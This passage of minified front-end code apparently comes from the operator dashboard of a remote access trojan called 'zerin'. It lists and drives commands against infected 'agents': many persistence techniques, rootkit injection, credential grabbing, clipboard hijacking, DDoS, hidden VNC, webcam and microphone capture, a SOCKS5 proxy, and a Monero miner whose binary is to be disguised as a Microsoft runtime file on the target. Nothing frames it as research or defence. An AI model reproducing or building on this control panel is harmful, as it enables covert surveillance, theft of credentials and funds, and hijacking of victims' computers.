font-mono",children:[c,"%"]})]}),a.jsx("input",{type:"range",min:10,max:100,step:5,value:c,onChange:S=>u(Number(S.target.value)),disabled:v||b,className:"w-full accent-amber-500 disabled:opacity-40"}),a.jsxs("div",{className:"flex justify-between text-[10px] text-zerin-text-muted font-mono mt-1",children:[a.jsx("span",{children:"10%"}),a.jsx("span",{children:"25%"}),a.jsx("span",{children:"50%"}),a.jsx("span",{children:"75%"}),a.jsx("span",{children:"100%"})]})]})]})]}),a.jsx("div",{className:"flex gap-3",children:b?a.jsxs("button",{onClick:N,disabled:d,className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r text-sm font-medium text-white bg-zinc-600 hover:bg-zinc-700\r disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}),"Stop Mining"]}):a.jsxs("button",{onClick:j,disabled:v||d||!i.trim(),className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r text-sm font-medium text-white bg-amber-600 hover:bg-amber-700\r disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 5.653c0-.856.917-1.398 1.667-.986l11.54 6.348a1.125 1.125 0 010 1.971l-11.54 6.347a1.125 1.125 0 01-1.667-.985V5.653z"})}),"Start Mining"]})}),a.jsx("div",{className:"bg-amber-500/5 border border-amber-500/15 px-4 py-3",children:a.jsxs("p",{className:"text-xs text-amber-400/80",children:["XMRig binary must be uploaded to ",a.jsx("span",{className:"font-mono",children:"%LOCALAPPDATA%\\Microsoft\\Runtime\\svcruntime.exe"})," on the target before starting the miner. Use the File Manager tab to upload it."]})})]})})}function Ca({label:e,value:t,valueClass:n}){return a.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border px-3 py-2.5",children:[a.jsx("p",{className:"text-[10px] text-zerin-text-muted uppercase tracking-wider mb-1",children:e}),a.jsx("p",{className:`text-sm font-mono font-medium ${n||"text-zerin-text"}`,children:t})]})}const B2=["shell","powershell","execute","whoami","ps","kill","sysinfo","specs","windows","installed_apps","netstat","ifconfig","env","ls","cd","pwd","upload","download","delete","encrypt","decrypt","screenshot","persist_runkey","persist_schtask","persist_service","persist_startup","persist_logonscript","persist_screensaver","persist_ifeo","persist_bits","persist_com","persist_dllhijack","persist_wmi","persist_portmon","persist_ssp","reg_read","reg_write","rootkit_status","rootkit_inject","restart","shutdown","troll_msgbox","troll_tts","troll_website","troll_wallpaper","troll_taskbar","troll_cd_tray","chat","creds","clipper_start","clipper_stop","clipper_config","ddos_start","ddos_stop","miner_start","miner_stop","miner_status","sleep","exit","uninstall"],fV={queued:"bg-zinc-500/15 text-zinc-400",sent:"bg-zinc-400/10 text-zinc-400",completed:"bg-zinc-400/10 text-zinc-300",failed:"bg-zerin-danger-dim text-zerin-danger",timeout:"bg-zerin-panel-hover text-zerin-text-muted"},_m=["overview","screenshots","files","processes","windows","apps","system","troll","credentials","clipper","ddos","miner"];function mV(){const{id:e}=rl(),t=xr(),[n,r]=Sx(),[i,s]=m.useState(null),[o,l]=m.useState([]),[c,u]=m.useState([]),[d,f]=m.useState(!0),[p,h]=m.useState(""),[x,g]=m.useState(""),[y,v]=m.useState(!1),[b,w]=m.useState(!1),[j,N]=m.useState(()=>{const R=n.get("tab");return R&&_m.includes(R)?R:"overview"}),[z,k]=m.useState(()=>{const R=n.get("tab"),fe=new Set(["overview"]);return R&&_m.includes(R)&&fe.add(R),fe}),[S,A]=m.useState(null),[_,O]=m.useState(!0),[P,I]=m.useState(!1),[Y,D]=m.useState(null),[M,W]=m.useState(new Set),[$,H]=m.useState(()=>n.get("auto")==="1"),[F,K]=m.useState(null),[Z,oe]=m.useState(-1),[de,be]=m.useState(!1),ye=m.useRef(null);m.useEffect(()=>{k(R=>{if(R.has(j))return R;const fe=new Set(R);return fe.add(j),fe})},[j]),m.useEffect(()=>{k(new Set(["overview"]))},[e]),m.useEffect(()=>{const R=n.get("tab");R&&_m.includes(R)&&R!==j&&N(R)},[n]);const G=R=>{N(R),R==="overview"?n.delete("tab"):n.set("tab",R),r(n,{replace:!0})},te=m.useCallback(async()=>{if(e)try{const R=await qE(e);s(R),h("");try{const fe=await Xn(e);l(fe.tasks??[]),u(fe.results??[])}catch{l([]),u([])}}catch(R){s(null);const fe=R instanceof Error&&"status"in R?R.status:"network";h(R instanceof Error?`${R.message} (${fe})`:String(R))}finally{f(!1)}},[e]);m.useEffect(()=>{te();const R=setInterval(te,5e3);return()=>clearInterval(R)},[te]),m.useEffect(()=>{if(!e)return;let R=!0;const fe=async()=>{try{const V=await u_(e);R&&K(V)}catch{R&&K(null)}};fe();const ve=setInterval(fe,3e3);return()=>{R=!1,clearInterval(ve)}},[e]),m.useEffect(()=>{if(!S)return;const R=fe=>{fe.key==="Escape"&&A(null)};return window.addEventListener("keydown",R),()=>window.removeEventListener("keydown",R)},[S]);const C=m.useMemo(()=>[...o].sort((R,fe)=>new Date(R.created_at).getTime()-new Date(fe.created_at).getTime()),[o]),q=5e3,ne=m.useMemo(()=>{var fe;const R=[];for(const ve of C){const V=(fe=ve.args)!=null&&fe.length?" "+ve.args.join(" "):"";R.push({type:"command",content:`${ve.command}${V}`,timestamp:ve.created_at});const ae=c.find(U=>U.task_id===ve.id);ae?(ae.error&&R.push({type:"error",content:ae.error,timestamp:ae.completed_at}),ae.output&&R.push({type:"output",content:ae.output,timestamp:ae.completed_at})):ve.status==="queued"||ve.status==="sent"?R.push({type:"system",content:`[${ve.status==="queued"?"Queued":"Sent"} - awaiting result...]`}):ve.status==="timeout"&&R.push({type:"error",content:"[Task timed out]"})}if(R.length>q){const ve=R.slice(R.length-q);return ve.unshift({type:"system",content:`[Output truncated: showing last ${q.toLocaleString()} of ${R.length.toLocaleString()} lines]`}),ve}return R},[C,c]),B=m.useMemo(()=>{const R=[];for(const fe of C){if(fe.command!=="screenshot")continue;const ve=c.find(V=>V.task_id===fe.id);if(ve!=null&&ve.data){const V=uA(ve.data)?cA(ve.data):`data:image/png;base64,${ve.data}`;R.push({taskId:fe.id,timestamp:ve.completed_at,dataUrl:V})}}return R},[C,c]),le=x?B2.filter(R=>R.startsWith(x.split(" ")[0])&&R!==x.split(" ")[0]):B2;async function we(R){var ae;if(R.preventDefault(),!e||!x.trim())return;const fe=x.trim().split(/\s+/),ve=fe[0],V=fe.slice(1);v(!0),w(!1);try{await Me(e,{command:ve,args:V}),g(""),D(null),setTimeout(te,500)}catch(U){D(`[SEND FAILED] ${U instanceof Error?U.message:"Unknown error"}`)}finally{v(!1),(ae=ye.current)==null||ae.focus()}}function Ne(R){var fe;g(R+" "),w(!1),(fe=ye.current)==null||fe.focus()}if(d)return a.jsx("div",{className:"flex items-center justify-center h-full",children:a.jsxs("div",{className:"flex flex-col items-center gap-3",children:[a.jsx("div",{className:"w-8 h-8 border-2 border-zerin-accent/30 border-t-zerin-accent rounded-full animate-spin"}),a.jsx("p",{className:"text-zerin-text-dim text-sm",children:"Loading agent data..."})]})});if(!i)return a.jsx("div",{className:"flex items-center justify-center h-full",children:a.jsxs("div",{className:"text-center bg-zerin-panel border border-zerin-panel-border p-10 max-w-md",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-4 bg-zerin-danger-dim flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),a.jsx("h2",{className:"font-display text-lg text-zerin-text font-semibold mb-2",children:"Agent Not Found"}),p&&a.jsx("p",{className:"text-zerin-text-muted text-sm mb-2",children:p}),a.jsxs("p",{className:"text-zerin-text-muted text-xs font-mono mb-6",children:["ID: ",e]}),a.jsxs("button",{onClick:()=>t("/dashboard"),className:`inline-flex items-center gap-2 text-sm font-medium text-zerin-accent hover:text-zerin-accent-hover bg-zerin-accent-muted hover:bg-zerin-accent/20 px-4 py-2 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 19l-7-7 7-7"})}),"Back to Dashboard"]})]})});const Ae=i.hostname||"unknown";return a.jsxs("div",{className:"h-full flex flex-col animate-fade-in",children:[a.jsxs("div",{className:"flex items-center gap-4 px-6 py-4 border-b border-zerin-panel-border bg-zerin-panel/40",children:[a.jsxs("button",{onClick:()=>t("/dashboard"),className:`inline-flex items-center gap-1.5 text-sm text-zerin-text-dim hover:text-zerin-accent transition-colors px-2 py-1 hover:bg-zerin-accent-muted`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 19l-7-7 7-7"})}),"Back"]}),a.jsx("div",{className:"w-px h-6 bg-zerin-panel-border"}),a.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:Ae}),a.jsx(hd,{status:i.status,size:"md",showLabel:!0}),a.jsx("span",{className:"font-mono text-xs text-zerin-text-muted",children:to(i.id)}),i.elevated&&a.jsx("span",{className:"bg-zerin-panel-hover text-zerin-text-dim px-2 py-0.5 text-xs font-medium",children:"ADMIN"}),i.status!=="dead"&&a.jsxs("div",{className:"ml-auto flex items-center gap-2",children:[a.jsxs("button",{onClick:async()=>{try{await Px(i.id);const R=st(),fe=window.open(`/vnc/${i.id}`,`vnc-${i.id}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(fe&&R){const ve=V=>{var ae;((ae=V.data)==null?void 0:ae.type)==="zerin_auth_request"&&V.origin===window.location.origin&&(fe.postMessage({type:"zerin_auth",token:R},window.location.origin),window.removeEventListener("message",ve))};window.addEventListener("message",ve)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium text-zerin-accent hover:text-zerin-accent-hover bg-zerin-accent-muted hover:bg-zerin-accent/20 px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})}),"VNC"]}),a.jsxs("button",{onClick:async()=>{try{await z5(i.id);const R=st(),fe=window.open(`/vnc/${i.id}?mode=hvnc`,`hvnc-${i.id}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(fe&&R){const ve=V=>{var ae;((ae=V.data)==null?void 0:ae.type)==="zerin_auth_request"&&V.origin===window.location.origin&&(fe.postMessage({type:"zerin_auth",token:R},window.location.origin),window.removeEventListener("message",ve))};window.addEventListener("message",ve)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium text-zerin-accent hover:text-zerin-accent-hover bg-zerin-accent-muted hover:bg-zerin-accent/20 px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.98 8.223A10.477 10.477 0 001.934 12C3.226 16.338 7.244 19.5 12 19.5c.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0112 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 01-4.293 5.774M6.228 6.228L3 3m3.228 3.228l3.65 3.65m7.894 7.894L21 21m-3.228-3.228l-3.65-3.65m0 0a3 3 0 10-4.243-4.243m4.242 4.242L9.88 9.88"})}),"hVNC"]}),a.jsxs("div",{className:"relative",children:[a.jsxs("button",{onClick:()=>be(R=>!R),className:`inline-flex items-center gap-1.5 text-sm font-medium text-zerin-accent hover:text-zerin-accent-hover bg-zerin-accent-muted hover:bg-zerin-accent/20 px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",d:"M15.75 10.5l4.72-4.72a.75.75 0 011.28.53v11.38a.75.75 0 01-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 002.25-2.25v-9a2.25 2.25 0 00-2.25-2.25h-9A2.25 2.25 0 002.25 7.5v9a2.25 2.25 0 002.25 2.25z"})}),"Webcam",a.jsx("svg",{className:"w-3 h-3 ml-0.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.5 8.25l-7.5 7.5-7.5-7.5"})})]}),de&&a.jsxs("div",{className:"absolute top-full left-0 mt-1 z-50 bg-zerin-panel border border-zerin-border p-3 shadow-xl min-w-[200px]",style:{background:"#18181B",border:"1px solid #27272A"},children:[a.jsx("div",{className:"text-xs font-medium text-zerin-text-muted mb-2",children:"Device"}),a.jsxs("select",{value:Z,onChange:R=>oe(Number(R.target.value)),className:"w-full bg-zerin-bg border border-zerin-border text-zerin-text text-sm px-2 py-1 mb-2",style:{background:"#09090B",border:"1px solid #27272A",color:"#FAFAFA"},children:[a.jsx("option",{value:-1,children:"Auto-detect"}),[0,1,2,3,4,5,6,7,8,9].map(R=>a.jsxs("option",{value:R,children:["Camera ",R]},R))]}),a.jsx("button",{onClick:async()=>{be(!1);try{await S5(i.id,Z);const R=st(),fe=window.open(`/webcam/${i.id}`,`webcam-${i.id}`,"width=800,height=650,menubar=no,toolbar=no,location=no,status=no");if(fe&&R){const ve=V=>{var ae;((ae=V.data)==null?void 0:ae.type)==="zerin_auth_request"&&V.origin===window.location.origin&&(fe.postMessage({type:"zerin_auth",token:R},window.location.origin),window.removeEventListener("message",ve))};window.addEventListener("message",ve)}}catch{}},className:"w-full text-sm font-medium px-3 py-1.5 bg-zerin-accent text-black hover:bg-zerin-accent-hover transition-colors",children:"Start"})]})]}),a.jsxs("button",{onClick:async()=>{try{await C5(i.id);const R=st(),fe=window.open(`/mic/${i.id}`,`mic-${i.id}`,"width=500,height=400,menubar=no,toolbar=no,location=no,status=no");if(fe&&R){const ve=V=>{var ae;((ae=V.data)==null?void 0:ae.type)==="zerin_auth_request"&&V.origin===window.location.origin&&(fe.postMessage({type:"zerin_auth",token:R},window.location.origin),window.removeEventListener("message",ve))};window.addEventListener("message",ve)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium text-zerin-accent hover:text-zerin-accent-hover bg-zerin-accent-muted hover:bg-zerin-accent/20 px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18.75a6 6 0 006-6v-1.5m-6 7.5a6 6 0 01-6-6v-1.5m6 7.5v3.75m-3.75 0h7.5M12 15.75a3 3 0 01-3-3V4.5a3 3 0 116 0v8.25a3 3 0 01-3 3z"})}),"Mic"]}),a.jsxs("button",{onClick:async()=>{try{await Me(i.id,{command:"screenshot"}),G("screenshots")}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium text-zerin-accent hover:text-zerin-accent-hover bg-zerin-accent-muted hover:bg-zerin-accent/20 px-3 py-1.5 transition-colors`,children:[a.jsxs("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6.827 6.175A2.31 2.31 0 015.186 7.23c-.38.054-.757.112-1.134.175C2.999 7.58 2.25 8.507 2.25 9.574V18a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9.574c0-1.067-.75-1.994-1.802-2.169a47.865 47.865 0 00-1.134-.175 2.31 2.31 0 01-1.64-1.055l-.822-1.316a2.192 2.192 0 00-1.736-1.039 48.774 48.774 0 00-5.232 0 2.192 2.192 0 00-1.736 1.039l-.821 1.316z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M16.5 12.75a4.5 4.5 0 11-9 0 4.5 4.5 0 019 0z"})]}),"Screenshot"]}),a.jsxs("button",{onClick:()=>I(!0),className:`inline-flex items-center gap-1.5 text-sm font-medium text-zerin-accent hover:text-zerin-accent-hover bg-zerin-accent-muted hover:bg-zerin-accent/20 px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),"Chat"]})]})]}),a.jsxs("div",{className:"flex-1 flex flex-col min-h-0 overflow-hidden",children:[a.jsxs("div",{className:"flex items-center gap-1 px-6 pt-4 pb-0",children:[a.jsx(Nn,{label:"Overview",active:j==="overview",onClick:()=>G("overview")}),a.jsx(Nn,{label:"Screenshots",active:j==="screenshots",onClick:()=>G("screenshots"),badge:B.length>0?B.length:void 0}),a.jsx(Nn,{label:"Files",active:j==="files",onClick:()=>G("files")}),a.jsx(Nn,{label:"Processes",active:j==="processes",onClick:()=>G("processes")}),a.jsx(Nn,{label:"Windows",active:j==="windows",onClick:()=>G("windows")}),a.jsx(Nn,{label:"Apps",active:j==="apps",onClick:()=>G("apps")}),a.jsx(Nn,{label:"System",active:j==="system",onClick:()=>G("system")}),a.jsx(Nn,{label:"Troll",active:j==="troll",onClick:()=>G("troll")}),a.jsx(Nn,{label:"Credentials",active:j==="credentials",onClick:()=>G("credentials")}),a.jsx(Nn,{label:"Clipper",active:j==="clipper",onClick:()=>G("clipper")}),a.jsx(Nn,{label:"DDoS",active:j==="ddos",onClick:()=>G("ddos")}),a.jsx(Nn,{label:"Miner",active:j==="miner",onClick:()=>G("miner")})]}),a.jsxs("div",{className:"flex-1 min-h-0 overflow-auto custom-scrollbar",children:[a.jsx("div",{style:{display:j==="overview"?void 0:"none"},children:a.jsxs("div",{className:"p-6 grid grid-cols-12 gap-6 animate-fade-in",children:[a.jsxs("div",{className:"col-span-12 lg:col-span-5 xl:col-span-4 space-y-4",children:[a.jsxs(Am,{title:"System",children:[a.jsx(an,{label:"Hostname",value:i.hostname}),a.jsx(an,{label:"Username",value:i.username}),a.jsx(an,{label:"OS",value:Lo(i.os)}),a.jsx(an,{label:"Architecture",value:i.arch}),a.jsx(an,{label:"PID",value:String(i.pid),mono:!0}),a.jsx(an,{label:"Integrity",value:i.integrity}),a.jsx(an,{label:"Elevated",value:i.elevated?"Yes":"No",valueClass:i.elevated?"text-zerin-text font-medium":""})]}),a.jsxs(Am,{title:"Network",children:[a.jsx(an,{label:"Internal IP",value:i.internal_ip,mono:!0}),a.jsx(an,{label:"External IP",value:i.external_ip,mono:!0})]}),a.jsxs(Am,{title:"Timing",children:[a.jsx(an,{label:"Sleep / Jitter",value:T5(i.sleep_interval,i.jitter),mono:!0}),a.jsx(an,{label:"First Seen",value:Mo(i.first_seen)}),a.jsx(an,{label:"Last Seen",value:Jc(i.last_seen)}),a.jsx(an,{label:"Agent ID",value:to(i.id),mono:!0})]}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center justify-between",children:[a.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:"SOCKS5 Proxy"}),a.jsx("span",{className:`inline-block w-2 h-2 rounded-full ${F!=null&&F.active?"bg-emerald-400":"bg-zinc-600"}`})]}),a.jsx("div",{className:"px-4 py-3",children:F!=null&&F.active?a.jsxs("div",{className:"space-y-2",children:[a.jsxs("div",{className:"flex items-center justify-between text-xs",children:[a.jsx("span",{className:"text-zerin-text-muted",children:"Bind"}),a.jsx("span",{className:"font-mono text-zerin-text",children:F.port?`127.0.0.1:${F.port}`:"-"})]}),a.jsxs("div",{className:"flex items-center justify-between text-xs",children:[a.jsx("span",{className:"text-zerin-text-muted",children:"Channels"}),a.jsx("span",{className:"font-mono text-zerin-text",children:F.channels})]}),a.jsxs("div",{className:"flex items-center justify-between text-xs",children:[a.jsx("span",{className:"text-zerin-text-muted",children:"Traffic"}),a.jsxs("span",{className:"font-mono text-zerin-text",children:[Tp(F.bytes_in)," in / ",Tp(F.bytes_out)," out"]})]}),a.jsx("button",{onClick:async()=>{try{await c_(i.id),K({active:!1,port:0,channels:0,bytes_in:0,bytes_out:0})}catch{}},className:"w-full mt-1 px-3 py-1.5 text-xs font-medium text-zerin-danger bg-zerin-danger-dim hover:bg-zerin-danger/20 transition-colors",children:"Stop Proxy"})]}):a.jsxs("div",{className:"space-y-2",children:[a.jsx("p",{className:"text-xs text-zerin-text-muted",children:"No active SOCKS5 session"}),i.status!=="dead"&&a.jsx("button",{onClick:async()=>{try{const R=await P5(i.id);K({active:!0,port:R.port,channels:0,bytes_in:0,bytes_out:0})}catch{}},className:"w-full px-3 py-1.5 text-xs font-medium text-zerin-accent bg-zerin-accent-muted hover:bg-zerin-accent/20 transition-colors",children:"Start Proxy"})]})})]})]}),a.jsx("div",{className:"col-span-12 lg:col-span-7 xl:col-span-8",children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:a.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:"Task History"})}),a.jsx("div",{className:"overflow-x-auto",children:C.length===0?a.jsx("div",{className:"px-4 py-12 text-center",children:a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"No tasks have been submitted yet."})}):a.jsxs("table",{className:"w-full text-sm",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Command"}),a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Status"}),a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Created At"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:[...C].reverse().map(R=>{var ve;const fe=(ve=R.args)!=null&&ve.length?" "+R.args.join(" "):"";return a.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[a.jsxs("td",{className:"px-4 py-2.5 font-mono text-zerin-text text-xs whitespace-nowrap",children:[R.command,fe]}),a.jsx("td",{className:"px-4 py-2.5",children:a.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-medium ${fV[R.status]??"bg-zerin-panel-hover text-zerin-text-muted"}`,children:R.status})}),a.jsx("td",{className:"px-4 py-2.5 text-zerin-text-dim text-xs whitespace-nowrap",children:Mo(R.created_at)})]},R.id)})})]})})]})})]})}),z.has("files")&&a.jsx("div",{style:{display:j==="files"?void 0:"none"},children:a.jsx(GU,{agentId:i.id,agentStatus:i.status})}),z.has("processes")&&a.jsx("div",{style:{display:j==="processes"?void 0:"none"},children:a.jsx(XU,{agentId:i.id,agentStatus:i.status})}),z.has("windows")&&a.jsx("div",{style:{display:j==="windows"?void 0:"none"},children:a.jsx(ZU,{agentId:i.id,agentStatus:i.status})}),z.has("apps")&&a.jsx("div",{style:{display:j==="apps"?void 0:"none"},children:a.jsx(QU,{agentId:i.id,agentStatus:i.status})}),z.has("system")&&a.jsx("div",{style:{display:j==="system"?void 0:"none"},children:a.jsx(JU,{agentId:i.id,agentStatus:i.status})}),z.has("troll")&&a.jsx("div",{style:{display:j==="troll"?void 0:"none"},children:a.jsx(tV,{agentId:i.id})}),z.has("credentials")&&a.jsx("div",{style:{display:j==="credentials"?void 0:"none"},children:a.jsx(oV,{agentId:i.id,agentStatus:i.status,autoGrab:$,onAutoGrabConsumed:()=>{H(!1),n.delete("auto"),r(n,{replace:!0})}})}),z.has("clipper")&&a.jsx("div",{style:{display:j==="clipper"?void 0:"none"},children:a.jsx(uV,{agentId:i.id,agentStatus:i.status})}),z.has("ddos")&&a.jsx("div",{style:{display:j==="ddos"?void 0:"none"},children:a.jsx(aS,{agentIds:[i.id],agentStatus:i.status})}),z.has("miner")&&a.jsx("div",{style:{display:j==="miner"?void 0:"none"},children:a.jsx(dV,{agentId:i.id,agentStatus:i.status})}),z.has("screenshots")&&a.jsx("div",{style:{display:j==="screenshots"?void 0:"none"},children:a.jsx("div",{className:"p-6 animate-fade-in",children:B.length===0?a.jsx("div",{className:"flex items-center justify-center py-20",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-14 h-14 mx-auto mb-4 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-7 h-7 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 15.75l5.159-5.159a2.25 2.25 0 013.182 0l5.159 5.159m-1.5-1.5l1.409-1.409a2.25 2.25 0 013.182 0l2.909 2.909M3.75 21h16.5A2.25 2.25 0 0022.5 18.75V5.25A2.25 2.25 0 0020.25 3H3.75A2.25 2.25 0 001.5 5.25v13.5A2.25 2.25 0 003.75 21z"})})}),a.jsx("h3",{className:"text-zerin-text font-medium text-sm mb-1",children:"No Screenshots"}),a.jsxs("p",{className:"text-zerin-text-muted text-xs",children:["Run the ",a.jsx("span",{className:"font-mono text-zerin-accent",children:"screenshot"})," command to capture the agent display."]})]})}):a.jsx("div",{className:"grid grid-cols-2 xl:grid-cols-3 2xl:grid-cols-4 gap-4",children:B.map(R=>a.jsxs("button",{onClick:()=>A(R.dataUrl),className:`group bg-zerin-panel border border-zerin-panel-border hover:border-zerin-panel-border-hover transition-all overflow-hidden text-left`,children:[a.jsx("div",{className:"aspect-video bg-zerin-bg overflow-hidden flex items-center justify-center",children:M.has(R.dataUrl)?a.jsx("span",{className:"text-zerin-text-muted text-xs",children:"Failed to decode"}):a.jsx("img",{src:R.dataUrl,alt:`Screenshot ${to(R.taskId)}`,className:`w-full h-full object-cover opacity-90 group-hover:opacity-100 group-hover:scale-[1.02] transition-all duration-200`,loading:"lazy",onError:()=>W(fe=>new Set(fe).add(R.dataUrl))})}),a.jsx("div",{className:"px-3 py-2 border-t border-zerin-panel-border",children:a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsx("span",{className:"text-xs font-mono text-zerin-text-muted",children:to(R.taskId)}),a.jsx("span",{className:"text-xs text-zerin-text-muted",children:Jc(R.timestamp)})]})})]},R.taskId))})})})]}),a.jsxs("div",{className:"flex-shrink-0 border-t border-zerin-panel-border bg-zerin-panel",children:[a.jsxs("button",{onClick:()=>O(R=>!R),className:`w-full flex items-center gap-2 px-4 py-2 text-xs text-zerin-text-dim hover:text-zerin-text hover:bg-zerin-panel-hover transition-colors select-none`,children:[a.jsx("svg",{className:`w-3.5 h-3.5 transition-transform duration-200 ${_?"rotate-180":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}),a.jsx("span",{className:"font-medium",children:"Terminal"}),i.status==="dead"&&a.jsx("span",{className:"text-zerin-danger text-[10px] font-medium ml-1",children:"(offline)"})]}),_&&a.jsx("div",{className:"animate-slide-up-panel",style:{height:180},children:a.jsxs("div",{className:"h-full flex flex-col border-t border-zerin-panel-border",children:[a.jsx(qU,{lines:ne,className:"flex-1 border-0"}),a.jsxs("div",{className:"relative border-t border-zerin-panel-border bg-zerin-panel px-4 py-2.5",children:[b&&le.length>0&&a.jsx("div",{className:`absolute bottom-full left-0 right-0 mb-0 bg-zerin-panel border border-zerin-panel-border z-10 max-h-48 overflow-y-auto custom-scrollbar`,children:a.jsxs("div",{className:"p-2",children:[a.jsx("div",{className:"text-[10px] text-zerin-text-muted font-medium mb-1.5 px-1 uppercase tracking-wider",children:"Commands"}),a.jsx("div",{className:"flex flex-wrap gap-1",children:le.map(R=>a.jsx("button",{onClick:()=>Ne(R),className:`px-2.5 py-1 text-xs font-mono bg-zerin-bg text-zerin-text-dim border border-zerin-panel-border hover:text-zerin-accent hover:border-zerin-accent/40 hover:bg-zerin-accent-muted transition-colors`,children:R},R))})]})}),Y&&a.jsx("div",{className:"text-zerin-danger text-xs font-mono mb-1.5 